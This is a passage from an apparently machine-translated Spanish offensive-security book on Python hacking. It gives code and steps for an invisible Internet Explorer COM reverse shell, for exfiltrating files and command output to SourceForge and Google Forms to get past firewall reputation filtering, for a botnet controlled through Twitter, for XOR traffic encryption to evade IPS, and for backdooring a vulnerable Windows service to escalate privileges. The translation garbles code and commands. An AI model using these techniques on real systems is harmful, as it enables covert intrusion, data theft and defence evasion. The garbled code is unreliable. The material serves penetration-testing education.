las entidades HTML en unicode. Finalmente, codificamos el comando en una cadena ASCII e ignoramos
cualquier excepción que pueda haber ocurrido al hacerlo. El resultado final será el comando que debemos
ejecutar y lo imprimiremos. Al igual que con nuestros shells anteriores, si recibimos un comando de
finalización de la máquina Kali, saldremos de la instancia de Internet Explorer y romperemos el bucle. Si el
comando no finalizó, inyectamos el comando en un shell y almacenamos el resultado en una variable
llamada Datos. Ahora, para enviar o publicar los datos usando la técnica COM, primero se requiere
almacenar los datos en el búfer , y usamos una función integrada de búfer() de Python para hacerlo. Luego,
al final, publicamos el resultado de la ejecución del comando junto con los parámetros POST , que definimos
anteriormente. Nunca hemos usado Flags o TargetFrame, por lo que los configuramos en sus valores
predeterminados. El parámetro principal aquí es el dURL, que define la URL de destino para la que
deseamos enviar los datos.
[ 112 ]
Pasemos un poco al lado del atacante y aquí teníamos el servidor web HTTP exacto que usamos
anteriormente en nuestro shell inverso HTTP. Después de iniciar el script en el lado de destino, Internet
Explorer se iniciará en segundo plano, como podemos ver en la pestaña Procesos del Administrador
de tareas de Windows en la siguiente captura de pantalla:
Como puedes ver, es totalmente invisible para el usuario. El IE se está ejecutando, pero como podemos
ver, la GUI no aparece en la pestaña Aplicaciones . Al ejecutar ipconfig en la máquina Kali, en el lado de
la víctima, obtenemos el comando ipconfig . Vamos por directorios y otros comandos. También puede
realizar un ping rápido 10.10.10.100:
directorio
discos compactos
quién soy
arp-un
ping 10.10.10.100
[ 113 ]
Las salidas serán similares a las siguientes:
[+] Recibimos el comando ipconfig [+] Recibimos

el comando dir [+] Recibimos el comando cd [+]
Recibimos el comando whoami [+] Recibimos el
comando arp -a [+] Recibimos el comando ping
10.10.10.100
Tenemos nuestro caparazón completamente funcional aquí. Entonces, una vez más, expliquemos lo que
acaba de suceder aquí:
Nuestro script de Python ha iniciado un proceso de Internet Explorer en segundo plano y hemos
utilizado Internet Explorer para navegar a nuestro comando y controlar el servidor en el lado de Kali.
Luego, transferimos los datos usando GET y POST de ida y vuelta entre ellos.
Ahora, al final, tenga en cuenta que no solo se limita a un caparazón. También puede transferir
archivos y enviar datos utilizando el protocolo COM.
Dejaremos que descubras las otras funciones que puedes hacer con un protocolo COM.
Omitir el filtrado de reputación en los

cortafuegos de próxima generación
Los cortafuegos de última generación son cortafuegos todo en uno. Tienen todas las funciones de seguridad, como
IPS, antivirus, antispam y filtrado de reputación, en una sola caja. En esta sección, discutiremos una función de
seguridad importante, que puede evitar que nuestro caparazón llegue a nuestro objetivo.
Ahora, supongamos que pudimos plantar nuestro shell inverso de Python con éxito en nuestra máquina de destino.
Ahora, en un firewall tradicional, si la lista de control de acceso (ACL) estaba permitiendo el tráfico hacia el exterior,
entonces recuperaremos nuestro shell con éxito. Pero si el firewall estaba filtrando la reputación, lo que sucederá es
que una vez que el cliente inicie una sesión de regreso a nuestra máquina Kali y llegue al firewall, el firewall realizará
una búsqueda y verificará la IP de destino. Luego, verifica si la IP de destino pertenece a un sitio malicioso.
Esta verificación se basa en un conjunto de direcciones IP, que es una lista de direcciones IP que el cortafuegos
descargará de la base de datos del proveedor. Entonces, si se trata de un firewall de Cisco, utilizará una base de datos
de Cisco. Si este firewall fuera un Palo Alto, usaría un grupo de Palo Alto. Esta base de datos o grupo contiene una
gran lista de direcciones IP con su rango de reputación.
[ 114 ]
Por ejemplo, digamos que en la IP o en la base de datos tenemos una IP de 1.1.1.1 y tiene un rango de
10, lo que significa que se puede confiar totalmente. Además, tenemos una IP de 2.2.2.2, que tiene un
rango bajo de 2. Esto significa que ha sido reportada como una IP maliciosa. Digamos que la dirección IP del
atacante era 3.3.3.3. Cuando la sesión iniciada llega al cortafuegos con la dirección IP de destino 3.3.3.3, si
esta IP no se incluyó en la lista blanca y tiene un rango bajo en la base de datos de IP, el cortafuegos eliminará
el tráfico y registrará la decisión al administrador.
La idea aquí es usar un servidor o sitio web como Google Forms para enviar un texto o tal vez usar
SourceForge para cargar los archivos. El beneficio de hacerlo es, en primer lugar, que estos dos servidores o
servicios son muy conocidos y tienen una clasificación de reputación alta sobre 10. Por lo tanto, esperamos ver
https://www.google.com o Google Forms en el grupo de IP o en la base de datos de IP con un rango de 10. En
segundo lugar, es posible que nunca haya sido marcado como sospechoso para el administrador de seguridad
o para cualquier persona que observe el tráfico en tiempo real.
Interactuando con SourceForge

En esta sección, veremos con qué facilidad podemos subir archivos a SourceForge. SourceForge
generalmente está en la lista blanca desde la perspectiva del filtrado de reputación y probablemente los
administradores de seguridad nunca lo busquen. SourceForge proporciona múltiples formas de interactuar con su repositorio.
Usaremos SCP, que transfiere el archivo a través de una sesión SSH. Ahora, crear una cuenta en
SourceForge es fácil y, por lo tanto, omitiremos esta parte. Antes de comenzar, tómese un minuto y lea la
documentación de SourceForge para usar SCP y el formato necesario, https://sourceforge.net/p/forge/
documentation/SCP/. Iniciaré sesión en mi cuenta, que ya he creado y procederé a mi perfil. Allí, he creado un
proyecto llamado Prueba con cero archivos actualmente.
Vayamos a la parte de codificación ahora mismo. Usaremos dos bibliotecas para hacer nuestro trabajo:
# Interactuando con SourceForge
importar paramiko # pip instalar paramiko importar scp #

enlace de descarga: https://pypi.python.org/pypi/scp
...
La primera biblioteca es paramiko. paramiko es una implementación de Python del protocolo SSHv2, que
proporciona funcionalidad tanto de cliente como de servidor. El scp es una biblioteca superior construida sobre
paramiko que se usa para transferir el archivo en solo una línea.
[ 115 ]
Antes de usar cualquiera de estas bibliotecas, primero se debe instalar una biblioteca de requisitos previos
llamada PyCrypto desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto. Los pasos son bastante
sencillos.
El siguiente paso es instalar paramiko usando el comando pip :
pip instalar paramiko
El último paso es instalar la biblioteca scp . Si tiene algún problema con el script de configuración de la
biblioteca, simplemente copie la biblioteca manualmente en el directorio de paquetes del sitio de Python.
Simplemente pegue el script scp navegando a Python27 | liberación | paquetes de sitio.
Veamos el resto del script:
...
ssh_client = paramiko.SSHClient() # creando una instancia de ssh_client usando la clase paramiko sshclient
'''
cuando se conecta a un servidor ssh por primera vez, si las claves del servidor ssh no están almacenadas en el lado
del cliente, recibirá un mensaje de advertencia que indica que las claves del servidor no están almacenadas en el
sistema y le preguntará si desea aceptar esas llaves
dado que hacemos una automatización en el lado objetivo, le informamos a paramiko que acepte estas claves por
primera vez sin interrumpir la sesión o preguntar al usuario y esto se hace a través de >
set_missing_host_key_policy(paramiko.AutoAddPolicy()
'''
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect("web.sourceforge.net", nombre de usuario="hkhrais",

contraseña="[123solotúyyo]") #Autenticarnos en sourceforge
servidor
print '[+] Autenticación contra web.sourceforge.net ...' #utilice sus propias credenciales de inicio de sesión: D
scp = scp.SCPClient(ssh_client.get_transport()) #después de una autenticación exitosa, la identificación

de la sesión ssh se pasará a la función SCPClient
scp.put('C:/Users/Hussam/Desktop/password.txt') # subir al archivo (en este caso es contraseña.txt) que queremos

tomar del destino al directorio raíz
[ 116 ]
imprimir '[+] El archivo está subido '
scp.close()
imprime '[+] Cerrando el socket'
Entonces, nuestro script comenzará con la creación de una instancia ssh_client

usando la clase paramiko.SSHClient() . Ahora, cuando se conecta a un servidor SSH por primera vez y si
las claves del servidor SSH no están almacenadas en el lado del cliente, recibirá un mensaje de
advertencia que indica que las claves del servidor no están almacenadas en caché en el sistema; le pedirá
que acepte estas claves.
Abra el software PuTTY , conéctese al servidor SourceForge con web.sourceforge.net como nombre de
host, puerto 22 y protocolo SSH. Ahora, haga clic en Abrir:
[ 117 ]
Aparecerá una advertencia emergente porque las claves no están almacenadas en caché en el sistema. Ahora, dado
que realizamos una automatización, le informaremos a Paramiko que acepte estas claves por primera vez sin
interrumpir la sesión ni preguntar al usuario por ello. Esto se hará a través de client.set_missing_host_key_policy,
luego AutoAddPolicy().
El siguiente paso en el bloque de código es definir el nombre del servidor de SourceForge al que queremos
conectarnos y cargar nuestro archivo. Además, proporcionamos las credenciales de inicio de sesión. Después
de proporcionar el nombre de usuario y la contraseña, nos autenticaremos en el servidor de SourceForge.
Después de una autenticación exitosa, la ID de la sesión SSH se pasará a la función SCPClient() y la función
get_transport() nos devolverá la ID de la sesión. Ahora, después de realizar este paso, todo lo que tenemos que
hacer es especificar la ruta del archivo que queremos exfiltrar y subirlo a nuestro repositorio.
En este ejemplo, he usado el Módulo 5 o el archivo M5.pdf . Entonces, usaremos la función put() del SCP
para realizar la carga y al final cerraremos la sesión usando la función .close() .
Después de ejecutar el script, obtendremos un mensaje de autenticación exitoso de la siguiente manera:
>>>
[+] Autenticación contra web.sourceforge.net...
[+] Archivo subido [+]
Cerrando el socket
>>>
Ahora, saltemos al lado del atacante y verifiquemos que obtuvimos el archivo. Primero, instale el cliente FTP de
FileZilla para acceder a nuestro repositorio:
apt-get install filezilla
Abra el software ejecutando filezilla e ingrese el nombre del servidor/nombre de host, nombre de usuario,
contraseña y número de puerto, como se ingresó previamente en el script para iniciar sesión en su cuenta. Se
presentará un mensaje de advertencia porque hemos iniciado sesión por primera vez, y si nos desplazamos un poco
podemos ver que tenemos nuestro archivo. M5 se cargó aquí correctamente, como se muestra en la siguiente
captura de pantalla:
[ 118 ]
Intente descargar este archivo haciendo clic derecho en el nombre del archivo y seleccionando Descargar. La
consola imprime que el archivo se ha transferido correctamente en ausencia de errores.
Ahora, repita los pasos anteriores para una extensión .txt para verificar si tiene éxito.
Actualice el lado del atacante y vea el contenido. Asegúrese de eliminar los archivos de su repositorio de
SourceForge una vez que finalice la evaluación de la prueba de penetración.
Interactuando con Formularios de Google

En la sección anterior, hemos visto cómo podemos filtrar datos en el sitio web de SourceForge. Ahora,
usaremos Google Forms para enviar texto normal. Tenga en cuenta que este texto podría ser una salida de
ejecución de comando para nuestro shell. El punto aquí es que, al igual que SourceForge, Google Forms tiene un
rango de reputación bastante alto. Siga estos pasos para comenzar:
1. Inicie sesión en Google Forms

2. Cree un nuevo formulario de Google haciendo clic en Iniciar un nuevo
formulario 3. Escriba la pregunta como ¿No es asombroso Python?
4. En la pestaña Respuesta , mantenga el nombre predeterminado para la hoja de
cálculo 5. Cambie el tipo de Pregunta a Párrafo de la opción múltiple predeterminada 6. Una vez
creado el formulario, haga clic en Enviar 7. Copie el enlace que se proporciona en un Bloc de notas
o un archivo de texto 8. Vaya al enlace que copiamos y envíe un texto trivial 9. Verifique la respuesta
en la Hoja de Google que creamos, que estará en su
Google Drive a esta hora
Ahora, codificaremos un script de Python que enviará datos de texto desde el lado de destino a nuestro
Formulario de Google y la mejor parte aquí es que podemos lograrlo sin tener que iniciar sesión en una cuenta de
Google. Ahora, como de costumbre, la mejor biblioteca de Python para interactuar con la web es solicitudes y
hemos utilizado solicitudes en las secciones anteriores:
'''
Precaución
--------
Google.
'''
# Interactuando con Formularios de Google
[ 119 ]
solicitudes de importación # Para instalar la biblioteca de solicitudes, simplemente escriba en el CMD:

solicitudes de instalación de pip
url =
'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8 U6jz8yHBkePXSPoA/
formResponse' # reemplace la URL con su propio formulario de Google: D
'''
observe que agregué /formResponse al final de la URL y esto se hereda del código fuente HTML de
la página, como podemos ver a continuación, la acción del formulario HTML contiene /formResponse
cuando se usa el método POST para enviar los datos del usuario
entonces tenemos que agregar esta parte cuando automaticemos el envío de datos <div class="ss-
form"><form
action="https://docs.google.com/forms/d/1Ndjnm5YViqIYXyIuoTHsCqW_YfGa-vaaKE ahY2cc5cs/formResponse?pli=1"
method="POST" id="ss-form" target="_self" onsubmit=""> <ol role="list" class="ss-question-list" style="padding-left: 0">
'''
form_data = {'entry.1542374001':'Hola desde Python'}
r = solicitudes.post(url, data=form_data)
# Envío de datos codificados en formularios en solicitudes:- #
http://docs.python-requests.org/en/latest/user/quickstart/#more-
complicated
-post-solicitudes
Una vez más, la instalación es bastante fácil: son solo solicitudes de instalación de pip. Ahora, lo que
vemos aquí es la documentación de solicitudes para enviar una solicitud POST codificada en formulario
HTML :
[ 120 ]
Ahora, según la documentación, primero definimos la URL para el formulario de envío y, en nuestro caso,
es la URL del formulario de Google. Y el segundo parámetro son nuestros datos en formato de diccionario,
donde tenemos una clave y un valor correspondiente. Tenga en cuenta que la clave es el nombre del formulario
y su valor son nuestros datos de texto que queremos enviar.
Saltemos al enlace de nuestro formulario de Google para descubrir el nombre del formulario, que será nuestra
clave en el diccionario. Abra el código fuente del formulario que creamos y, en HTML, busque la cadena de
Python . Si observa detenidamente, captará el nombre del formulario HTML para enviar un texto. En nuestro
caso, el nombre del formulario que viene como valor de <textarea name> es entry.1542374001:
En este punto, hemos descubierto el nombre de la clave , que es lo que necesitamos para automatizar el
proceso. Recuerda que el valor son los datos que queremos enviar o enviar.
Copie el nombre del formulario en un archivo de Bloc de notas por ahora. Luego, tenemos
que ir al script anterior de Interacción con formularios de Google y completar esta información allí.
Primero copie la URL del formulario y asígnela a la variable url debajo de la línea de solicitudes de
importación y, al final, agregue /formResponse después de eliminar la parte /viewform de la URL.
Ponga el nombre del formulario, entry.1542374001 , ya que la clave y los datos por ahora serán
Hello From
Python:
...
dirección URL =
'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8 U6jz8yHBkePXSPoA/
formResponse'
...
form_data = {'entry.1542374001':'Hola desde Python'}
...
Guarde el guión. En este punto, tenemos todo en su lugar. Ejecutemos el script y si todo funciona
bien como se esperaba, deberíamos ver Hello From Python agregado en la respuesta de nuestro formulario.
En la siguiente sección, veremos cómo podemos usar este script en pruebas de penetración en el mundo real.
[ 121 ]
Omitir el filtrado de botnets

Si ha leído las secciones anteriores en orden, en este punto debería poder obtener un comando en Twitter
sin necesidad de iniciar sesión en Twitter y enviar un texto a un formulario de Google, también sin iniciar
sesión en la cuenta de Google. Por último, debería poder cargar archivos en SourceForge. Entonces,
quizás se pregunte: ¿qué puede hacer un hacker con estos servicios?
Bueno, pueden enviar un comando como ipconfig como un tweet y luego pueden hacer múltiples
objetivos infectados para analizar el tweet y ejecutar los comandos. Después de ejecutar los comandos,
obtenemos los resultados de la ejecución, que se pueden enviar a un formulario de Google.
Alternativamente, si la sintaxis o el formato del comando contenían la palabra clave agarrar , entonces el
objetivo cargará los archivos en nuestro repositorio de SourceForge.
Ahora, en los firewalls modernos, la función de filtrado de botnets busca un determinado criterio o
parámetro, como la aplicación o el protocolo que utilizan las botnets modernas, como IRC, DNS
dinámico, así como la cantidad de sesiones creadas desde el interior hasta el anfitrión externo.
Todos estos serán considerados por el firewall moderno o de próxima generación para verificar si este
tráfico pertenecía a una red de bots o no. Además, no hace falta mencionar que el filtrado de reputación
también forma parte de estas inspecciones y filtrado.
Los beneficios de crear una botnet basada en servidores conocidos son que, en primer lugar, no
usamos canales IRC ni DNS dinámico. Luego, no tenemos que interactuar o tener una interacción
directa con la máquina atacante. El último punto es que todos estos servidores o servicios son bien
conocidos y confiables.
Si abusa de estos servicios y los usa fuera del entorno de laboratorio, está violando
los términos y el acuerdo, y eventualmente será procesado con todo el peso de la
ley según la jurisdicción prevaleciente en la región en cuestión.
Tenga en cuenta que mi punto aquí es abrir los ojos a tipos similares de ataques, para que pueda estar
al tanto de ellos. Entonces, lo que quiero que haga es desafiarse a sí mismo e intentar combinar y
comprimir todos estos scripts en un shell avanzado y luego intentar infectar varias máquinas virtuales
que ejecutan Windows 7 dentro de su entorno de laboratorio doméstico. Después de eso, o finalmente,
podrá controlarlos y filtrar datos. El último punto que no mencionamos hasta esta sección es el cifrado. En
la siguiente sección, veremos qué tan fácil es construir el cifrado XOR y enmascarar nuestro tráfico de
texto sin cifrar.
[ 122 ]
Omitir IPS con cifrado XOR hecho a mano

En esta sección, construiremos un cifrado XOR simple en Python. Ahora, el cifrado de tráfico es una de
las técnicas más poderosas para evadir el analizador de red o los sensores IPS, pero primero, antes de
pasar a la parte de codificación, veamos una descripción general rápida de cómo funcionan estos
dispositivos en primer lugar.
En términos generales, estos dispositivos pueden operar en dos modos: el primer modo, que es el
modo basado en firmas, donde inspecciona los parámetros del paquete y las cargas útiles de datos,
que pasan a través del sensor. Luego, de manera similar a un antivirus, verifica si hay alguna coincidencia
con su base de datos de firmas y, según la acción especificada para la regla coincidente, puede descartar
o registrar el tráfico. El segundo modo se basa en el comportamiento o en las anomalías, donde instala
el IPS en la red y aprenderá los tipos de protocolo, así como la tasa de paquetes que pasan a través del
sensor. Luego, construirá su base de datos o su base de datos de referencia en función del tráfico de red
actual.
Por ejemplo, en una red, digamos que tenemos 50 PC que generalmente usan SSH para acceder a
un servidor remoto. Si el IPS se basa en el comportamiento, aprenderá que en promedio tenemos 50
sesiones SSH y creará una línea de base para esto. Más adelante, si alguna PC ha usado Telnet,
entonces el IPS considerará este protocolo como una actividad sospechosa y puede descartarlo. Aunque
la sesión de Telnet es legítima, como el IPS durante la fase de aprendizaje no detectó ninguna sesión de
Telnet, no se incluirá en la línea de base del IPS y este comportamiento incorrecto se denomina falso
positivo. Esta es la razón por la que los IPS basados en el comportamiento no se utilizan con frecuencia
debido a estos falsos positivos.
Ahora, codificaremos un cifrado XOR muy simple para enmascarar nuestra carga útil de datos.
Probablemente esté pensando: ¿por qué un cifrado XOR? ¿Por qué no crear un shell SSH o HTTPs,
ya que estos protocolos brindan cifrado por diseño? Bueno, no recomiendo esto porque, en muchas
redes empresariales, es posible que su objetivo haya instalado un dispositivo de descifrado donde
puede terminar SSL y SSH. Básicamente, una vez que el tráfico ingresa a este dispositivo, convertirá o
eliminará el cifrado de estos protocolos y lo convertirá en texto claro antes de pasarlo al sensor IPS para
su inspección. Técnicamente, no tendrá un shell de cifrado de extremo a extremo y si se enfrenta a este
dispositivo de descifrado, no tendrá ningún valor agregado.
Muchos cortafuegos modernos o cortafuegos de próxima generación pueden finalizar

el cifrado SSL y SSH con fines de inspección.
[ 123 ]
Pasemos a la parte de la codificación:
import string # Las bibliotecas random y string se utilizan para generar una cadena aleatoria con criterios
flexibles import random
# Cifrado XOR
# Generador de claves aleatorias
clave = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<> |\

\') para _ en el rango (1024))
# el bucle for define el tamaño de la clave, el tamaño de la clave es de 1 KB, que si recuerda en nuestro shell TCP,
coincide con el tamaño del socket TCP :) # el "".join pondrá el resultado de las cadenas aleatorias en una secuencia y
nosotros finalmente lo almacenará en una variable clave #, por lo que, en general, el ciclo for generará una cadena
aleatoria 1024 que coincide con nuestros criterios y . join se utiliza para reunir estas cadenas en un
secuencia
imprimir clave
'
imprimir '\n' + 'Longitud de clave = + str (len(clave))
# Después de generar la clave XOR, debe tener en cuenta la regla de cifrado XOR que dice que la longitud de la
clave debe ser mayor o igual que el mensaje/datos # que enviaremos a través del túnel. len(clave) >= len(mensaje)
mensaje = 'ipconfig' # este es el mensaje que cifraremos antes de enviarlo + mensaje + '\n' imprimir "El mensaje
es"
...
Veamos la primera sección. Generaremos una clave aleatoria, que se utilizará para el cifrado XOR. Ahora, nuestra
clave debe ser lo suficientemente compleja y cumplir con los siguientes criterios: debe contener minúsculas,
mayúsculas, dígitos y caracteres especiales aquí. Ahora, el bucle for al final define el tamaño de la clave. El tamaño
de la clave es de 1 KB, que, si recuerda en nuestro shell TCP, coincide con el tamaño del socket TCP. La cadena
vacía .join al principio pondrá el resultado de las cadenas aleatorias en una secuencia y, finalmente, lo almacenaremos
en una variable clave . Entonces, en general, el ciclo for generará 1024 cadenas aleatorias, que coinciden con
nuestros criterios, y .join se usa para reunir estas cadenas en una secuencia.
[ 124 ]
Al ejecutar el código, se generará una clave de longitud 1024 que podemos usar para
el cifrado. Si ejecuta el script una vez más, obtendrá una clave totalmente diferente con el mismo
tamaño:
...
# aquí definí una función dedicada llamada str_xor, pasaremos dos valores a esta función, el primer valor es el
mensaje (s1) que queremos cifrar o descifrar, # y el segundo parámetro es la clave xor (s2). Pudimos vincular las fases de
cifrado y descifrado en una sola función porque la operación xor es exactamente la misma # cuando ciframos o desciframos,
la única diferencia es que cuando ciframos pasamos el mensaje en texto sin cifrar y cuando queremos descifrar pasamos el
mensaje encriptado
def str_xor(s1, s2):

return "".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
# primero dividimos el mensaje y la tecla xor en una lista de pares de caracteres en formato de tuplas >> para (c1,c2) en
zip(s1,s2)
# a continuación, revisaremos cada tupla y los convertiremos en números enteros usando la función (ord), una vez que se
conviertan en números enteros, ahora podemos # realizar OR exclusivo en ellos >> ord (c1)
^ palabra (c2)
# luego convierta el resultado nuevamente a ASCII usando la función (chr) >> chr(ord(c1) ^ ord(c2)) # último paso
fusionaremos la matriz de caracteres resultante como una cadena de secuencia usando >>> "".join función
#Aquí hacemos una prueba rápida
enc = str_xor(mensaje, clave) print 'El

mensaje encriptado es: ' + '\n' + enc + '\n'
dec = str_xor(enc, key) print 'El

mensaje descifrado es: ' + '\n' + diciembre
#Asegúrese de que la MISMA clave esté CODIFICADA en el servidor Y en el cliente; de lo contrario, ¡no podrá
decodificar sus propios mensajes!
[ 125 ]
En la segunda parte del cifrado XOR, tenga en cuenta que el tamaño de la clave debe ser igual o mayor que el
del mensaje de texto claro. Pasaremos dos valores a la función dedicada str_xor(). El primer parámetro, s1, es
el mensaje que queremos cifrar o descifrar y el segundo parámetro, s2, es la clave XOR. Tenga en cuenta que
se utiliza la misma clave para los procesos de cifrado y descifrado. Además, el mensaje podría ser el mensaje
cifrado que queremos descifrar o el mensaje de texto claro que queremos cifrar. Entonces, la operación XOR es
exactamente la misma cuando encriptamos o desencriptamos. La única diferencia es que cuando ciframos,
pasamos el mensaje en texto claro y cuando queremos descifrar, pasamos el mensaje cifrado. La siguiente línea
del script de cifrado XOR realiza tanto el cifrado como el descifrado XOR por nosotros:
...
devuelve "".json([chr{ord(c1) ^ ord(c2)) para (c1,c2) en zip(s1,s2)])
...
Entonces, primero, dividimos el mensaje y la tecla XOR en una lista de pares de caracteres en formato de tuplas.
A continuación, revisaremos cada tupla y las convertiremos en números enteros usando la función
ord() . Ahora, una vez que se convierten en números enteros, podemos realizar un XOR exclusivo en ellos.
Luego, en la última parte, volveremos a convertir el resultado a ASCII, usando el carácter o la función chr() . Al
final, fusionaremos la matriz de caracteres resultante como una secuencia, usando la función .join() aquí.
Entonces, en resumen, imprimiremos el mensaje de texto claro, luego la versión cifrada y, finalmente, la
descifrada.
Después de ejecutar el script, verá en el resultado la clave XOR, el mensaje que pasamos, el mensaje cifrado
y el mensaje descifrado.
Cada vez que ejecutamos el script, se generará una nueva clave y, por lo tanto, aparecerá un nuevo
mensaje cifrado.
Una vez que genere su clave XOR, asegúrese de que la misma clave esté
codificada en la secuencia de comandos de su servidor Kali y en la puerta trasera
de Windows; de lo contrario, no podrá descifrar sus mensajes.
[ 126 ]
Resumen
En este capítulo, hemos cubierto una amplia gama de temas que van desde eludir firewalls hasta interactuar con sitios
web. Realizamos estas tareas después del uso de varias herramientas y diferentes metodologías, lo que nos permitió
atacar la máquina víctima con nuestra máquina atacante o cifrar y descifrar nuestros mensajes.
En el próximo capítulo, cubriremos las escaladas de privilegios relacionadas con permisos de archivo de
servicio débiles, la preparación de software vulnerable, la violación del servicio legítimo de Windows a través de una
puerta trasera y la creación de una nueva cuenta de administrador.
[ 127 ]
5
Diversión miscelánea en Windows
En este capítulo, nos centraremos principalmente en la explotación de software vulnerable en Windows y
procederemos a utilizar diferentes técnicas dentro de la escalada de privilegios. Posteriormente, también
crearemos puertas traseras y cubriremos nuestras huellas. Este capítulo le dará una idea general de cómo
podemos aprovechar el poder de un script de Python para nuestro beneficio.
En este capítulo se tratarán los siguientes temas:
Escalada de privilegios: archivo de servicio débil

Escalada de privilegios: preparación de software vulnerable
Escalada de privilegios: puerta trasera del servicio legítimo de Windows
Escalada de privilegios: crear una nueva cuenta de administrador y cubrir las pistas
Escalada de privilegios: archivo de servicio débil

Durante una fase de prueba de penetración, puede encontrarse con un usuario estándar en el que no tiene
privilegios completos para acceder o modificar un sistema de archivos debido al control de acceso de usuario
(UAC) y, cada vez que intente elevar su privilegio, se le preguntará a la ventana que le pide que introduzca la
contraseña de administrador. En esta sección, analizaremos uno de los tipos de ataques de escalada de
privilegios, donde técnicamente salta de un usuario estándar a un administrador o privilegio del sistema. Estos
tipos de ataques, que discutiremos, se denominan escalada de privilegios a través de la debilidad del permiso
del archivo de servicio. El sistema será vulnerable si el usuario estándar puede modificar la ubicación de un
archivo ejecutable de servicio.
Luego, puede ser sobrescrito por otro ejecutable malicioso. Podemos usar esta capacidad para obtener privilegios
del sistema iniciando nuestro propio ejecutable en lugar del ejecutable del servicio.
Una vez que se inicia el servicio después de reiniciar el sistema, el ejecutable reemplazado se ejecutará en
lugar del ejecutable del servicio original. Entonces, en resumen, tenemos un privilegio del sistema y ejecutaremos
un EXE, que pertenece a un software vulnerable. Ahora, dado que este software EXE puede ser escrito por un
usuario estándar y dentro de un perfil de usuario estándar, simplemente podemos reemplazarlo con un EXE
malicioso.
Diversión miscelánea en Windows Capítulo 5
Entonces, este software EXE puede ser escrito o modificado por un espacio de usuario, usando un usuario
estándar. Entonces, lo que podemos hacer es simplemente reemplazar el software EXE con uno malicioso. En
los próximos tres arranques, nuestro EXE ocupará un lugar y se ejecutará con el poder del privilegio del
sistema.
Aquí hay un enlace sobre los tipos de escalada de privilegios con una breve descripción
de cada tipo: https://attack.mitre.org/wiki/Privilege_Escalation. Si tienes algo de tiempo,
te recomiendo que leas este artículo.
Escalada de privilegios: preparación de

software vulnerable
Para esta demostración, usaré un software vulnerable llamado Photodex tomado de un sitio web de Exploit
Database. Puede descargar este software desde https://www.exploit db.com/exploits/24872/. Una vez que
se descarga el software, instálelo en nuestra máquina de destino. Una vez que haya terminado, reinicie la
máquina.
Entonces, ahora, intentemos crear una cuenta estándar que no sea de administrador en nuestra máquina
Windows de destino yendo a Panel de control | Agregar o eliminar cuentas de usuario | Crea una cuenta
nueva. Llamemos a este no administrador. Después de crear la cuenta, inicie sesión en la cuenta de no
administrador y navegue hasta el directorio Photodex creado durante la instalación en la unidad C:\ y, al mismo
tiempo, abra el Administrador de tareas.
Podrá ver el nombre del servicio, que crea el software Photodex, que es ScsiAccess en la pestaña Servicios .
Para obtener más información sobre este servicio, haga clic en el botón Servicios . En la ventana Servicios
que se abre, busque ScsiAccess, haga clic derecho sobre él y seleccione Propiedades, podrá encontrar la ruta
del archivo EXE para este servicio. Vaya y eche un vistazo a ese directorio, en mi caso, es C:\Program
Files\Photodex\Pro Show Producer\ScsiAccess.exe. Busque el archivo EXE y haga clic derecho sobre él; tenga
en cuenta que no necesitamos ningún privilegio de administrador para cambiar el nombre, eliminar, copiar o
incluso cortar este archivo. Entonces, técnicamente, si cambio el nombre de este archivo a ABC, por ejemplo,
y luego reemplazo un archivo malicioso en lugar de este, entonces podemos aprovechar esta vulnerabilidad.
Veamos qué podemos hacer con esta vulnerabilidad. En la siguiente sección, crearemos un nuevo archivo EXE
de servicio exclusivamente en Python.
Luego, reemplazaremos el actual, que es el archivo sciaccess.exe y veremos qué privilegio podemos
obtener al hacerlo.
[ 129 ]
Escalada de privilegios: puerta trasera del

servicio legítimo de Windows
En esta sección, codificaremos un archivo de servicio malicioso para reemplazar el legítimo. Ahora,
para reemplazar el archivo de servicio, nuestro nuevo archivo de servicio malicioso debería poder
comunicarse con el administrador de control de servicios de Windows. Por ejemplo, cuando inicia,
detiene, pausa o reanuda manualmente el servicio, el administrador de control de servicios de Windows
enviará una señal u orden al archivo de servicio EXE y, a cambio, el archivo de servicio generalmente
debe obedecer la orden del administrador de control de servicios. Si, por alguna razón, el archivo de
servicio o el archivo EXE no entendieron esa señal, entonces el administrador de control de servicios no
podrá iniciar el servicio y obtendrá un error que dice El servicio no respondió a la solicitud de inicio o
control en un de manera oportuna.
Ahora, saltemos al código:
# Servicio de Windows legítimo de backdooring
importar servicemanager importar

win32serviceutil importar
win32service importar win32api
importar o
importar ctypes
...
# Parte 1 - Inicializar: en esta sección nosotros: - if __name__ ==

'__main__':
servicemanager.Initialize() # definir un oyente para win servicemanager servicemanager.PrepareToHostSingle(Service)
servicemanager.StartServiceCtrlDispatcher() win32serviceutil.HandleCommandLine(Service) #pasar una clase
de servicio
manejador, por lo que cada vez que recibamos una señal del administrador de servicios, la pasaremos a la clase
Servicio
[ 130 ]
En primer lugar, una parte de mi código se hereda de un script que encontré en el sitio web de
ActiveState. Aquí puede encontrar el original http://code.activestate.com/recipes/ 551780/. Lo
segundo que recomiendo es leer más sobre la funcionalidad del administrador de control de
servicios de Microsoft. Este es un buen comienzo: https://msdn.microsoft.com/en-us/library/windows/
desktop/ms685150(v=vs.85).aspx . Por último, pero no menos importante, la biblioteca pywin es una
biblioteca de requisitos previos para crear un servicio de Windows en Python. Puede descargarlo
desde: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/. Nuestro código se puede
dividir en dos secciones. La primera sección trata sobre la inicialización. En esta sección, definimos un
oyente para Windows, es decir, servicemanager. Luego, pasamos un controlador de clase de servicio ,
por lo que, cada vez que recibamos una señal de servicemanager, la pasaremos a la clase de servicio .
Pasemos a la segunda parte:
# Parte 2: aquí (en la clase de servicio) definimos la acción a realizar cuando recibimos una señal del administrador de servicios
Servicio de clase (win32serviceutil.ServiceFramework):

_svc_name_ = 'ScsiAccess' # especifica el nombre del servicio y la pantalla
nombre: tenga en cuenta que el nombre scsiacces es similar al original para el software vulnerable photodex
_svc_display_name_ = 'ScsiAccess' def __init__(self, *args): # Inicializar ServiceFramework y definimos
en el estilo de funciones qué hacer cuando recibimos una señal del administrador de servicios
